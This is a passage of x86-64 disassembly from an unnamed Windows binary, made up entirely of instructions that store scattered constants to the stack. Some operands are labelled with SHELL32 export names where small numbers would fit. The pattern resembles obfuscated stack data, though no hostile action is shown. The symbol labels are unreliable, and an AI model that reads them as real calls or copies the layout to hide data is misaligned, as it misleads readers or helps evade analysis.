mov dword [rsp + 0x8074], 0x6ad9
mov dword [rsp + 0x8078], 0x2d35
mov eax, 0xce5
mov word [rsp + 0x1db4], ax
mov dword [rsp + 0x807c], 0xb8cc
mov dword [rsp + 0x8080], 0x96b4
mov dword [rsp + 0x8084], 0x7aed
mov dword [rsp + 0x8088], 0x23ba
mov eax, 0xc13
mov word [rsp + 0x1db8], ax
mov dword [rsp + 0x808c], 0x86b
mov dword [rsp + 0x8090], 0x64d0
mov byte [rsp + 0x315], 0xf7
mov eax, 0x31b
mov word [rsp + 0x1dbc], ax
mov dword [rsp + 0x8094], 0xa302
mov dword [rsp + 0x8098], 0x1e3e
mov dword [rsp + 0x809c], 0x4212
mov dword [rsp + 0x80a0], 0xb730
mov dword [rsp + 0x80a4], 0x1156
mov eax, 0xb70
mov word [rsp + 0x1dc0], ax
mov dword [rsp + 0x80a8], 0x27e0
mov byte [rsp + 0x316], 0xd1
mov dword [rsp + 0x80ac], 0x1db6
mov eax, 0xe37
mov word [rsp + 0x1dc4], ax
mov eax, 0xb7
mov word [rsp + 0x1dc8], ax
mov eax, 9
mov word [rsp + 0x1dcc], ax
mov eax, DrawInsert
mov word [rsp + 0x1dd0], ax
mov eax, 0x780
mov word [rsp + 0x1dd4], ax
mov eax, 0x233
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x80b0], 0x3459
mov dword [rsp + 0x80b4], 0x7838
mov dword [rsp + 0x80b8], 0x3deb
mov eax, 0x153
mov word [rsp + 0x1ddc], ax
mov byte [rsp + 0x317], 0x2c
mov dword [rsp + 0x80bc], 0x5db7
mov eax, SHMultiFileProperties
mov word [rsp + 0x1de0], ax
mov eax, 0x4be
mov word [rsp + 0x1de4], ax
mov dword [rsp + 0x80c0], 0x6000
mov dword [rsp + 0x80c4], 0xf3a
mov byte [rsp + 0x318], 0x17
mov dword [rsp + 0x80c8], 0x5517
mov dword [rsp + 0x80cc], 0x2500
mov dword [rsp + 0x80d0], 0x31d9
mov dword [rsp + 0x80d4], 0xde0f
mov eax, 0x329
mov word [rsp + 0x1de8], ax
mov dword [rsp + 0x80d8], 0x1434
mov byte [rsp + 0x319], SHSetInstanceExplorer
mov dword [rsp + 0x80dc], 0x4259
mov eax, 0x5a4
mov word [rsp + 0x1dec], ax
mov dword [rsp + 0x80e0], 0x5b99
mov eax, 0x77e
mov word [rsp + 0x1df0], ax
mov eax, 0x4b5
mov word [rsp + 0x1df4], ax
mov dword [rsp + 0x80e4], 0x3d5f
mov dword [rsp + 0x80e8], 0x48d3
mov dword [rsp + 0x80ec], 0x8944
mov byte [rsp + 0x31a], 0x7a
mov eax, 0xf08
mov word [rsp + 0x1df8], ax
mov dword [rsp + 0x80f0], 0x13a1
mov eax, 0x641
mov word [rsp + 0x1dfc], ax
mov dword [rsp + 0x80f4], 0xe1ba
mov dword [rsp + 0x80f8], 0x26f4
mov dword [rsp + 0x80fc], 0x1c05
mov dword [rsp + 0x8100], 0x4320
mov eax, 0x440
mov word [rsp + 0x1e00], ax
mov dword [rsp + 0x8104], 0x3d39
mov dword [rsp + 0x8108], 0x4773
mov dword [rsp + 0x810c], 0x448
mov byte [rsp + 0x31b], 0x5c
mov byte [rsp + 0x31c], 7
mov byte [rsp + 0x31d], 1
mov dword [rsp + 0x8110], 0x54e8
mov byte [rsp + 0x31e], 0xc9
mov byte [rsp + 0x31f], 0x7e
mov byte [rsp + 0x320], 0
mov dword [rsp + 0x8114], 0x5082
mov dword [rsp + 0x8118], 0xae14
mov byte [rsp + 0x321], 0x3c
mov byte [rsp + 0x322], 0x64
mov eax, 0x7b3
mov word [rsp + 0x1e04], ax
mov dword [rsp + 0x811c], 0x2895
mov eax, 0x557
mov word [rsp + 0x1e08], ax
mov dword [rsp + 0x8120], 0x7ad9
mov dword [rsp + 0x8124], 0xb388
mov byte [rsp + 0x323], 0x78
mov dword [rsp + 0x8128], 0x2615
mov eax, 0x1b
mov word [rsp + 0x1e0c], ax
mov byte [rsp + 0x324], 0x7f
mov dword [rsp + 0x812c], 0x1d07
mov dword [rsp + 0x8130], 0x58d3
mov dword [rsp + 0x8134], 0x54cd
mov eax, 0xa
mov word [rsp + 0x1e10], ax
mov dword [rsp + 0x8138], 0x6c99
mov dword [rsp + 0x813c], 0x6c2
mov byte [rsp + 0x325], 0xc5
mov dword [rsp + 0x8140], 0x5f09
mov dword [rsp + 0x8144], 0x9e55
mov byte [rsp + 0x326], 0x59
mov eax, 0x317
mov word [rsp + 0x1e14], ax
mov dword [rsp + 0x8148], 0x12c0
mov dword [rsp + 0x814c], 0x6544
mov dword [rsp + 0x8150], 0x270e
mov dword [rsp + 0x8154], 0x3536
mov dword [rsp + 0x8158], 0x569f
mov dword [rsp + 0x815c], 0x7827
mov eax, 0xcd0
mov word [rsp + 0x1e18], ax
mov byte [rsp + 0x327], 0x9f
mov byte [rsp + 0x328], 0xcf
mov eax, 0x7ad
mov word [rsp + 0x1e1c], ax
mov byte [rsp + 0x329], 0xe5
mov dword [rsp + 0x8160], 0x744b
mov dword [rsp + 0x8164], 0x328
mov eax, 0xcea
mov word [rsp + 0x1e20], ax
mov dword [rsp + 0x8168], 0xd0b3
mov dword [rsp + 0x816c], 0x5df2
mov byte [rsp + 0x32a], 0xe2
mov dword [rsp + 0x8170], 0xc7c6
mov dword [rsp + 0x8174], 0x146c
mov eax, 0xf8f
mov word [rsp + 0x1e24], ax
mov dword [rsp + 0x8178], 0x563b
mov dword [rsp + 0x817c], 0xb654
mov eax, 0xd97
mov word [rsp + 0x1e28], ax
mov dword [rsp + 0x8180], 0x72f1
mov byte [rsp + 0x32b], 0xf3
mov eax, 0x22b
mov word [rsp + 0x1e2c], ax
mov byte [rsp + 0x32c], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x8184], 0xf68
mov dword [rsp + 0x8188], 0x6ba5
mov byte [rsp + 0x32d], 0x15
mov eax, 0xbc
mov word [rsp + 0x1e30], ax
mov byte [rsp + 0x32e], SHDoDragDrop
mov eax, 0x796
mov word [rsp + 0x1e34], ax
mov byte [rsp + 0x32f], 0x10
mov dword [rsp + 0x818c], 0x6e2d
mov dword [rsp + 0x8190], 0x3ccf
mov dword [rsp + 0x8194], 0x67f3
mov byte [rsp + 0x330], 0x78
mov dword [rsp + 0x8198], 0xa8b
mov eax, 0x6ce
mov word [rsp + 0x1e38], ax
mov eax, 0x1dd
mov word [rsp + 0x1e3c], ax
mov dword [rsp + 0x819c], 0x77ca
mov byte [rsp + 0x331], 0xbb
mov eax, 0x559
mov word [rsp + 0x1e40], ax
mov byte [rsp + 0x332], 0x1c
mov dword [rsp + 0x81a0], 0xbff5
mov eax, 0xbff
mov word [rsp + 0x1e44], ax
mov eax, 0x540
mov word [rsp + 0x1e48], ax
mov dword [rsp + 0x81a4], 0x4807
mov dword [rsp + 0x81a8], 0x477a
mov dword [rsp + 0x81ac], 0x577f
mov byte [rsp + 0x333], SHDoDragDrop
mov dword [rsp + 0x81b0], 0xac4
mov dword [rsp + 0x81b4], 0xf318
mov dword [rsp + 0x81b8], 0x5bdc
mov dword [rsp + 0x81bc], 0xe328
mov dword [rsp + 0x81c0], 0x974f
mov eax, 0x214
mov word [rsp + 0x1e4c], ax
mov dword [rsp + 0x81c4], 0x4c21
mov dword [rsp + 0x81c8], 0x491a
mov byte [rsp + 0x334], 0x43
mov eax, 0x4f8
mov word [rsp + 0x1e50], ax
mov dword [rsp + 0x81cc], 0xa092
mov byte [rsp + 0x335], 0x23
mov dword [rsp + 0x81d0], 0x9d83
mov dword [rsp + 0x81d4], 0x25c2
mov dword [rsp + 0x81d8], 0x1b8
mov eax, 0x535
mov word [rsp + 0x1e54], ax
mov dword [rsp + 0x81dc], 0x773f
mov dword [rsp + 0x81e0], 0x571e
mov byte [rsp + 0x336], 0x32
mov dword [rsp + 0x81e4], 0x387
mov dword [rsp + 0x81e8], 0x47a5
mov byte [rsp + 0x337], 0x9f
mov dword [rsp + 0x81ec], 0xf2bf
mov byte [rsp + 0x338], 0xcb
mov dword [rsp + 0x81f0], 0x34f2
mov dword [rsp + 0x81f4], 0x747b
mov dword [rsp + 0x81f8], 0xaf93
mov byte [rsp + 0x339], 0x7f
mov byte [rsp + 0x33a], 0xa3
mov byte [rsp + 0x33b], 0x17
mov dword [rsp + 0x81fc], 0x4be8
mov byte [rsp + 0x33c], 0x61
mov dword [rsp + 0x8200], 0x8fe9
mov dword [rsp + 0x8204], 0x9b4c
mov dword [rsp + 0x8208], 0xf5df
mov dword [rsp + 0x820c], 0x3dc7
mov dword [rsp + 0x8210], 0x4617
mov byte [rsp + 0x33d], 0x92
mov dword [rsp + 0x8214], 0x3f6c
mov dword [rsp + 0x8218], 0x1211
mov dword [rsp + 0x821c], 0x7e9f
mov eax, 0x17
mov word [rsp + 0x1e58], ax
mov dword [rsp + 0x8220], 0x1373
mov byte [rsp + 0x33e], 0xba
mov eax, 0xe31
mov word [rsp + 0x1e5c], ax
mov dword [rsp + 0x8224], 0x413
mov dword [rsp + 0x8228], 0x7bf9
mov dword [rsp + 0x822c], 0x2c2a
mov dword [rsp + 0x8230], 0x7f37
mov dword [rsp + 0x8234], 0xd7e
mov dword [rsp + 0x8238], 0x1e7a
mov eax, 0x61d
mov word [rsp + 0x1e60], ax
mov dword [rsp + 0x823c], 0x3ecf
mov eax, 0xea
mov word [rsp + 0x1e64], ax
mov dword [rsp + 0x8240], 0xf738
mov dword [rsp + 0x8244], 0xebd6
mov eax, 0x39d
mov word [rsp + 0x1e68], ax
mov eax, 0x1b8
mov word [rsp + 0x1e6c], ax
mov dword [rsp + 0x8248], 0x41fa
mov byte [rsp + 0x33f], 0x22
mov dword [rsp + 0x824c], 0x31f
mov byte [rsp + 0x340], 0xe8
mov dword [rsp + 0x8250], 0x447d
mov eax, 0xa6c
mov word [rsp + 0x1e70], ax
mov dword [rsp + 0x8254], 0x7179
mov eax, 0x4ad
mov word [rsp + 0x1e74], ax
mov byte [rsp + 0x341], DrawInsert
mov eax, 0x928
mov word [rsp + 0x1e78], ax
mov eax, 0x622
mov word [rsp + 0x1e7c], ax
mov dword [rsp + 0x8258], 0x6a79
mov dword [rsp + 0x825c], 0x592a
mov dword [rsp + 0x8260], 0x5116
mov dword [rsp + 0x8264], 0x2506
mov dword [rsp + 0x8268], 0x8a6e
mov dword [rsp + 0x826c], 0xdb4
mov dword [rsp + 0x8270], 0x7cbf
mov byte [rsp + 0x342], 0xd9
mov eax, 0x39b
mov word [rsp + 0x1e80], ax
mov dword [rsp + 0x8274], 0x16ef
mov dword [rsp + 0x8278], 0x5103
mov eax, 0x2e5
mov word [rsp + 0x1e84], ax
mov dword [rsp + 0x827c], 0xe2c5
mov dword [rsp + 0x8280], 0x6614
mov dword [rsp + 0x8284], 0x110a
mov byte [rsp + 0x343], ILFree
mov dword [rsp + 0x8288], 0x6dc
mov dword [rsp + 0x828c], 0x69f
mov eax, 0x1d0
mov word [rsp + 0x1e88], ax
mov byte [rsp + 0x344], DrawInsert
mov byte [rsp + 0x345], 0xa3
mov dword [rsp + 0x8290], 0x391
mov dword [rsp + 0x8294], 0x4433
mov dword [rsp + 0x8298], 0xb26e
mov dword [rsp + 0x829c], 0x5d77
mov dword [rsp + 0x82a0], 0xd24e
mov byte [rsp + 0x346], 1
mov eax, 0x314
mov word [rsp + 0x1e8c], ax
mov dword [rsp + 0x82a4], 0x302d
mov dword [rsp + 0x82a8], 0x6c4c
mov dword [rsp + 0x82ac], 0x719a
mov byte [rsp + 0x347], 0x76
mov dword [rsp + 0x82b0], 0x64fb
mov dword [rsp + 0x82b4], 0x54bb
mov eax, 0x69d
mov word [rsp + 0x1e90], ax
mov eax, 0x546
mov word [rsp + 0x1e94], ax
mov dword [rsp + 0x82b8], 0x1d48
mov dword [rsp + 0x82bc], 0x4c1a
mov dword [rsp + 0x82c0], 0x4112
mov byte [rsp + 0x348], 0x6e
mov dword [rsp + 0x82c4], 0x93f0
mov dword [rsp + 0x82c8], 0xbaaf
mov dword [rsp + 0x82cc], 0x4c15
mov eax, 0x382
mov word [rsp + 0x1e98], ax
mov dword [rsp + 0x82d0], 0x521
mov byte [rsp + 0x349], 0x24
mov eax, 0xe8b
mov word [rsp + 0x1e9c], ax
mov byte [rsp + 0x34a], ILFree
mov eax, 0x6ae
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x82d4], 0x151b
mov byte [rsp + 0x34b], 0x2c
mov eax, 0x750
mov word [rsp + 0x1ea4], ax
mov dword [rsp + 0x82d8], 0x7120
mov dword [rsp + 0x82dc], 0x79d0
mov dword [rsp + 0x82e0], 0x32f
mov byte [rsp + 0x34c], 0x7a
mov dword [rsp + 0x82e4], 0x51a9
mov dword [rsp + 0x82e8], 0x1bfc
mov dword [rsp + 0x82ec], 0x593c
mov dword [rsp + 0x82f0], 0x43a4
mov dword [rsp + 0x82f4], 0x6673
mov byte [rsp + 0x34d], 0x3e
mov dword [rsp + 0x82f8], 0x36fc
mov dword [rsp + 0x82fc], 0x6b34
mov dword [rsp + 0x8300], 0x8de
mov dword [rsp + 0x8304], 0xbe79
mov dword [rsp + 0x8308], 0xad88
mov dword [rsp + 0x830c], 0x2b5f
mov dword [rsp + 0x8310], 0xf0ee
mov dword [rsp + 0x8314], 0x3fb7
mov dword [rsp + 0x8318], 0x2bcb
mov dword [rsp + 0x831c], 0x5e60
mov eax, 0xc7a
mov word [rsp + 0x1ea8], ax
mov byte [rsp + 0x34e], 0xa2
mov eax, 0x323
mov word [rsp + 0x1eac], ax
mov dword [rsp + 0x8320], 0x18f2
mov dword [rsp + 0x8324], 0x363d
mov byte [rsp + 0x34f], 0xa8
mov byte [rsp + 0x350], 0xa2
mov byte [rsp + 0x351], 0x25
mov dword [rsp + 0x8328], 0x7b0d
mov dword [rsp + 0x832c], 0x6039
mov eax, 0x3a1
mov word [rsp + 0x1eb0], ax
mov byte [rsp + 0x352], 0x7b
mov dword [rsp + 0x8330], 0xffb5
mov byte [rsp + 0x353], 0x5f
mov eax, 0x342
mov word [rsp + 0x1eb4], ax
mov byte [rsp + 0x354], 0xf3
mov byte [rsp + 0x355], 0x68
mov dword [rsp + 0x8334], 0x1b90
mov dword [rsp + 0x8338], 0x8e35
mov dword [rsp + 0x833c], 0x3383
mov dword [rsp + 0x8340], 0x493d
mov dword [rsp + 0x8344], 0x5a34
mov eax, 0x93f
mov word [rsp + 0x1eb8], ax
mov eax, 0x443
mov word [rsp + 0x1ebc], ax
mov dword [rsp + 0x8348], 0x44f
mov dword [rsp + 0x834c], 0x50aa
mov eax, 0x564
mov word [rsp + 0x1ec0], ax
mov byte [rsp + 0x356], 0x1a
mov byte [rsp + 0x357], 0x8c
mov dword [rsp + 0x8350], 0xa9e4
mov byte [rsp + 0x358], 0x8f
mov eax, 0x29d
mov word [rsp + 0x1ec4], ax
mov dword [rsp + 0x8354], 0x615b
mov dword [rsp + 0x8358], 0x283f
mov dword [rsp + 0x835c], 0x685b
mov dword [rsp + 0x8360], 0x48e6
mov dword [rsp + 0x8364], 0x4ebf
mov dword [rsp + 0x8368], 0x255e
mov dword [rsp + 0x836c], 0x7859
mov byte [rsp + 0x359], DrawInsert
mov eax, 0xd28
mov word [rsp + 0x1ec8], ax
mov dword [rsp + 0x8370], 0x2d6f
mov dword [rsp + 0x8374], 0x5104
mov eax, 0x4e7
mov word [rsp + 0x1ecc], ax
mov dword [rsp + 0x8378], 0x6f93
mov byte [rsp + 0x35a], 0x36
mov dword [rsp + 0x837c], 0xaeeb
mov dword [rsp + 0x8380], 0x64ae
mov dword [rsp + 0x8384], 0x4d21
mov dword [rsp + 0x8388], 0x3c03
mov dword [rsp + 0x838c], 0x5568
mov dword [rsp + 0x8390], 0x1850
mov eax, 0x306
mov word [rsp + 0x1ed0], ax
mov eax, 0xdde
mov word [rsp + 0x1ed4], ax
mov byte [rsp + 0x35b], 0
mov dword [rsp + 0x8394], 0x4d59
mov byte [rsp + 0x35c], 0x32
mov eax, 0x492
mov word [rsp + 0x1ed8], ax
mov eax, 0x4f2
mov word [rsp + 0x1edc], ax
mov eax, 0xaca
mov word [rsp + 0x1ee0], ax
mov dword [rsp + 0x8398], 0x4954
mov dword [rsp + 0x839c], 0x1a5d
mov eax, 0x3bc
mov word [rsp + 0x1ee4], ax
mov dword [rsp + 0x83a0], 0x516
mov dword [rsp + 0x83a4], 0x3f01
mov dword [rsp + 0x83a8], 0x6343
mov dword [rsp + 0x83ac], 0x33c2
mov eax, 0xeb7
mov word [rsp + 0x1ee8], ax
mov eax, 0x66a
mov word [rsp + 0x1eec], ax
mov dword [rsp + 0x83b0], 0x506e
mov dword [rsp + 0x83b4], 0x68fa
mov dword [rsp + 0x83b8], 0x49fb
mov byte [rsp + 0x35d], 0x9f
mov dword [rsp + 0x83bc], 0x28f
mov dword [rsp + 0x83c0], 0xa0a3
mov dword [rsp + 0x83c4], 0x37f
mov dword [rsp + 0x83c8], 0x31a5
mov eax, 0x5bb
mov word [rsp + 0x1ef0], ax
mov dword [rsp + 0x83cc], 0x2dbf
mov eax, 0x121
mov word [rsp + 0x1ef4], ax
mov dword [rsp + 0x83d0], 0x4d6e
mov dword [rsp + 0x83d4], 0xc53d
mov dword [rsp + 0x83d8], 0x5b5a
mov byte [rsp + 0x35e], 0x2e
mov dword [rsp + 0x83dc], 0xa6b1
mov dword [rsp + 0x83e0], 0x30d7
mov dword [rsp + 0x83e4], 0x8b3
mov dword [rsp + 0x83e8], 0x3235
mov dword [rsp + 0x83ec], 0x3183
mov byte [rsp + 0x35f], 0x21
mov dword [rsp + 0x83f0], 0x6238
mov byte [rsp + 0x360], 0x92
mov dword [rsp + 0x83f4], 0x789c
mov eax, 0xa53
mov word [rsp + 0x1ef8], ax
mov dword [rsp + 0x83f8], 0x2c63
mov byte [rsp + 0x361], 0x63
mov eax, 0xd7a
mov word [rsp + 0x1efc], ax
mov dword [rsp + 0x83fc], 0x6a0e
mov dword [rsp + 0x8400], 0x16be
mov dword [rsp + 0x8404], 0x200c
mov dword [rsp + 0x8408], 0x4487
mov dword [rsp + 0x840c], 0x6094
mov dword [rsp + 0x8410], 0x69a5
mov eax, DrawInsert
mov word [rsp + 0x1f00], ax
mov dword [rsp + 0x8414], 0x8dbd
mov byte [rsp + 0x362], DrawInsert
mov dword [rsp + 0x8418], 0x5612
mov eax, 0x2b2
mov word [rsp + 0x1f04], ax
mov dword [rsp + 0x841c], 0x669f
mov dword [rsp + 0x8420], 0xf096
mov dword [rsp + 0x8424], 0x414f
mov eax, 0xf5
mov word [rsp + 0x1f08], ax
mov byte [rsp + 0x363], SHSetInstanceExplorer
mov eax, 0x82f
mov word [rsp + 0x1f0c], ax
mov eax, 0x143
mov word [rsp + 0x1f10], ax
mov dword [rsp + 0x8428], 0x7684
mov eax, 0x301
mov word [rsp + 0x1f14], ax
mov byte [rsp + 0x364], 0x42
mov byte [rsp + 0x365], 0x71
mov dword [rsp + 0x842c], 0x52fa
mov byte [rsp + 0x366], 0xa5
mov dword [rsp + 0x8430], 0x26be
mov eax, 0x7aa
mov word [rsp + 0x1f18], ax
mov eax, 0xf83
mov word [rsp + 0x1f1c], ax
mov dword [rsp + 0x8434], 0x222e
mov dword [rsp + 0x8438], 0x7f79
mov dword [rsp + 0x843c], 0x3f79
mov dword [rsp + 0x8440], 0x36ea
mov byte [rsp + 0x367], SHSetInstanceExplorer
mov eax, 0x21a
mov word [rsp + 0x1f20], ax
mov dword [rsp + 0x8444], 0x71d8
mov dword [rsp + 0x8448], 0xcd53
mov eax, 0xc06
mov word [rsp + 0x1f24], ax
mov dword [rsp + 0x844c], 0x1b5b
mov dword [rsp + 0x8450], 0x4060
mov dword [rsp + 0x8454], 0xfa73
mov dword [rsp + 0x8458], 0x58ed
mov byte [rsp + 0x368], 0x6b
mov dword [rsp + 0x845c], 0x57e4
mov dword [rsp + 0x8460], 0x35a0
mov dword [rsp + 0x8464], 0x2fde
mov byte [rsp + 0x369], 0x5f
mov byte [rsp + 0x36a], 3
mov eax, 0x74
mov word [rsp + 0x1f28], ax
mov eax, 0x3f6
mov word [rsp + 0x1f2c], ax
mov byte [rsp + 0x36b], 0xc5
mov dword [rsp + 0x8468], 0x770f
mov dword [rsp + 0x846c], 0xf64
mov dword [rsp + 0x8470], 0x14b0
mov dword [rsp + 0x8474], 0xf79b
mov eax, 0xe52
mov word [rsp + 0x1f30], ax
mov dword [rsp + 0x8478], 0x208e
mov dword [rsp + 0x847c], 0xa852
mov dword [rsp + 0x8480], 0x71fc
mov eax, 0xbaf
mov word [rsp + 0x1f34], ax
mov eax, 0x347
mov word [rsp + 0x1f38], ax
mov dword [rsp + 0x8484], 0x8bb2
mov dword [rsp + 0x8488], 0x70d1
mov eax, 0x608
mov word [rsp + 0x1f3c], ax
mov dword [rsp + 0x848c], 0x25c4
mov dword [rsp + 0x8490], 0x110
mov dword [rsp + 0x8494], 0xbba
mov dword [rsp + 0x8498], 0x7cbe
mov dword [rsp + 0x849c], 0x547f
mov dword [rsp + 0x84a0], 0x63a6
mov byte [rsp + 0x36c], 0x74
mov byte [rsp + 0x36d], 0xbe
mov dword [rsp + 0x84a4], 0x4591
mov dword [rsp + 0x84a8], 0x924
mov dword [rsp + 0x84ac], 0x4e2f
mov byte [rsp + 0x36e], 0xbd
mov eax, 0xe9
mov word [rsp + 0x1f40], ax
mov byte [rsp + 0x36f], 0xbd
mov dword [rsp + 0x84b0], 0xfb7
mov dword [rsp + 0x84b4], 0x97ef
mov eax, 0xed1
mov word [rsp + 0x1f44], ax
mov dword [rsp + 0x84b8], 0x4b5
mov eax, 0xd34
mov word [rsp + 0x1f48], ax
mov eax, 0x8c0
mov word [rsp + 0x1f4c], ax
mov byte [rsp + 0x370], 0xdc
mov byte [rsp + 0x371], 0xb2
mov dword [rsp + 0x84bc], 0x353
mov dword [rsp + 0x84c0], 0x5b8e
mov byte [rsp + 0x372], 0xf6
mov dword [rsp + 0x84c4], 0x6a0c
mov dword [rsp + 0x84c8], 0x5e08
mov byte [rsp + 0x373], PathYetAnotherMakeUniqueName
mov eax, 0x6a0
mov word [rsp + 0x1f50], ax
mov eax, 0x8f6
mov word [rsp + 0x1f54], ax
mov eax, 0x7f2
mov word [rsp + 0x1f58], ax
mov dword [rsp + 0x84cc], 0xe21e
mov eax, 0x4c9
mov word [rsp + 0x1f5c], ax
mov byte [rsp + 0x374], 0x77
mov eax, 0x63a
mov word [rsp + 0x1f60], ax
mov byte [rsp + 0x375], 0x14
mov dword [rsp + 0x84d0], 0x5626
mov dword [rsp + 0x84d4], 0x5fe8
mov dword [rsp + 0x84d8], 0x4d7a
mov eax, 0x4fa
mov word [rsp + 0x1f64], ax
mov eax, 0xed3
mov word [rsp + 0x1f68], ax
mov dword [rsp + 0x84dc], 0xb51f
mov byte [rsp + 0x376], 0x3d
mov dword [rsp + 0x84e0], 0x42e0
mov byte [rsp + 0x377], 0xb4
mov dword [rsp + 0x84e4], 0x3b2e
mov eax, 0x34
mov word [rsp + 0x1f6c], ax
mov eax, 0xa9c
mov word [rsp + 0x1f70], ax
mov byte [rsp + 0x378], 0x5a
mov dword [rsp + 0x84e8], 0x2082
mov dword [rsp + 0x84ec], 0x30d1
mov byte [rsp + 0x379], 0x23
mov dword [rsp + 0x84f0], 0x1981
mov dword [rsp + 0x84f4], 0x5ed8
mov eax, 3
mov word [rsp + 0x1f74], ax
mov dword [rsp + 0x84f8], 0xc9fe
mov dword [rsp + 0x84fc], 0x732
mov dword [rsp + 0x8500], 0xe336
mov byte [rsp + 0x37a], 0x2e
mov dword [rsp + 0x8504], 0x2028
mov byte [rsp + 0x37b], 0x11
mov byte [rsp + 0x37c], SHSetInstanceExplorer
mov dword [rsp + 0x8508], 0x83d2
mov dword [rsp + 0x850c], 0x3ffe
mov dword [rsp + 0x8510], 0x463c
mov dword [rsp + 0x8514], 0x54af
mov dword [rsp + 0x8518], 0x7c7e
mov byte [rsp + 0x37d], 0x30
mov dword [rsp + 0x851c], 0xc272
mov dword [rsp + 0x8520], 0x93c
mov dword [rsp + 0x8524], 0x99b
mov dword [rsp + 0x8528], 0x9a97
mov dword [rsp + 0x852c], 0xc5c
mov dword [rsp + 0x8530], 0x4ed1
mov dword [rsp + 0x8534], 0x5d77
mov dword [rsp + 0x8538], 0x962e
mov dword [rsp + 0x853c], 0x5be
mov eax, 0x5b8
mov word [rsp + 0x1f78], ax
mov dword [rsp + 0x8540], 0x92e4
mov dword [rsp + 0x8544], 0x1ee4
mov dword [rsp + 0x8548], 0x2f81
mov eax, 0x7f3
mov word [rsp + 0x1f7c], ax
mov dword [rsp + 0x854c], 0x181d
mov byte [rsp + 0x37e], 0x14
mov byte [rsp + 0x37f], SHSetInstanceExplorer
mov byte [rsp + 0x380], 0xc2
mov dword [rsp + 0x8550], 0xa317
mov dword [rsp + 0x8554], 0xb1d
mov dword [rsp + 0x8558], 0xdbcd
mov dword [rsp + 0x855c], 0x665a
mov byte [rsp + 0x381], SHDoDragDrop
mov eax, 0xdb
mov word [rsp + 0x1f80], ax
mov dword [rsp + 0x8560], 0x1a04
mov dword [rsp + 0x8564], 0x5dd9
mov dword [rsp + 0x8568], 0x11c0
mov byte [rsp + 0x382], 0x35
mov dword [rsp + 0x856c], 0x5f2c
mov eax, 0x60f
mov word [rsp + 0x1f84], ax
mov byte [rsp + 0x383], 0x3d
mov byte [rsp + 0x384], 0x50
mov eax, 0x5ed
mov word [rsp + 0x1f88], ax
mov dword [rsp + 0x8570], 0x7d2a
mov dword [rsp + 0x8574], 0x22f7
mov dword [rsp + 0x8578], 0x44c5
mov byte [rsp + 0x385], 0x42
mov byte [rsp + 0x386], 0x60
mov dword [rsp + 0x857c], 0x472e
mov dword [rsp + 0x8580], 0x360d
mov dword [rsp + 0x8584], 0xe909
mov dword [rsp + 0x8588], 0x2a02
mov dword [rsp + 0x858c], 0xe352
mov eax, 0x425
mov word [rsp + 0x1f8c], ax
mov dword [rsp + 0x8590], 0xfe39
mov dword [rsp + 0x8594], 0xffd2
mov byte [rsp + 0x387], 0x66
mov dword [rsp + 0x8598], 0x520b
mov eax, 0xfcf
mov word [rsp + 0x1f90], ax
mov eax, 0x5e6
mov word [rsp + 0x1f94], ax
mov dword [rsp + 0x859c], 0x105d
mov byte [rsp + 0x388], 0x72
mov dword [rsp + 0x85a0], 0x6979
mov eax, 0x11e
mov word [rsp + 0x1f98], ax
mov eax, 0xdc4
mov word [rsp + 0x1f9c], ax
mov byte [rsp + 0x389], 0x5f
mov dword [rsp + 0x85a4], 0x4870
mov eax, 0x5cb
mov word [rsp + 0x1fa0], ax
mov dword [rsp + 0x85a8], 0xc0b2
mov eax, 0x392
mov word [rsp + 0x1fa4], ax
mov dword [rsp + 0x85ac], 0x2016
mov byte [rsp + 0x38a], 0x28
mov dword [rsp + 0x85b0], 0x3db1
mov dword [rsp + 0x85b4], 0x6779
mov dword [rsp + 0x85b8], 0x2c82
mov eax, 0x401
mov word [rsp + 0x1fa8], ax
mov byte [rsp + 0x38b], 0x62
mov eax, 0xd64
mov word [rsp + 0x1fac], ax
mov dword [rsp + 0x85bc], 0x52f4
mov byte [rsp + 0x38c], 0xe5
mov byte [rsp + 0x38d], 0x3b
mov byte [rsp + 0x38e], 0xcb
mov byte [rsp + 0x38f], 0x39
mov dword [rsp + 0x85c0], 0xf5b8
mov dword [rsp + 0x85c4], 0x3bfc
mov byte [rsp + 0x390], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x85c8], 0x1146
mov byte [rsp + 0x391], 0xda
mov eax, 0x682
mov word [rsp + 0x1fb0], ax
mov byte [rsp + 0x392], 0x1e
mov dword [rsp + 0x85cc], 0x9a02
mov dword [rsp + 0x85d0], 0x3dd3
mov byte [rsp + 0x393], 0x3b
mov dword [rsp + 0x85d4], 0x52cd
mov eax, 0xe19
mov word [rsp + 0x1fb4], ax
mov dword [rsp + 0x85d8], 0x2065
mov dword [rsp + 0x85dc], 0x19a1
mov byte [rsp + 0x394], 0x19
mov dword [rsp + 0x85e0], 0x4ecf
mov dword [rsp + 0x85e4], 0x2d67
mov eax, 0x650
mov word [rsp + 0x1fb8], ax
mov eax, 0xfba
mov word [rsp + 0x1fbc], ax
mov byte [rsp + 0x395], 0xf9
mov eax, 0x709
mov word [rsp + 0x1fc0], ax
mov byte [rsp + 0x396], reloc.SHELL32.dll_SHSetInstanceExplorer
mov dword [rsp + 0x85e8], 0xe835
mov dword [rsp + 0x85ec], 0x9e6c
mov dword [rsp + 0x85f0], 0x5e58
mov byte [rsp + 0x397], 0xdf
mov dword [rsp + 0x85f4], 0x30a1
mov dword [rsp + 0x85f8], 0x9a16
mov dword [rsp + 0x85fc], 0x1130
mov dword [rsp + 0x8600], 0x1f9b
mov byte [rsp + 0x398], reloc.SHELL32.dll_SHSetInstanceExplorer
mov dword [rsp + 0x8604], 0x41c6
mov dword [rsp + 0x8608], 0xf053
mov eax, 0x257
mov word [rsp + 0x1fc4], ax
mov dword [rsp + 0x860c], 0x30de
mov eax, 0x51a
mov word [rsp + 0x1fc8], ax
mov eax, 0xb60
mov word [rsp + 0x1fcc], ax
mov dword [rsp + 0x8610], 0x1e8a
mov dword [rsp + 0x8614], 0x57d2
mov eax, 0xc63
mov word [rsp + 0x1fd0], ax
mov dword [rsp + 0x8618], 0x13b9
mov dword [rsp + 0x861c], 0x4f5a
mov eax, 0x38a
mov word [rsp + 0x1fd4], ax
mov eax, 0xe5f
mov word [rsp + 0x1fd8], ax
mov dword [rsp + 0x8620], 0xdcf5
mov byte [rsp + 0x399], 0xdc
mov dword [rsp + 0x8624], 0x5e2
mov dword [rsp + 0x8628], 0x42ed
mov dword [rsp + 0x862c], 0x6462
mov dword [rsp + 0x8630], 0xc66c
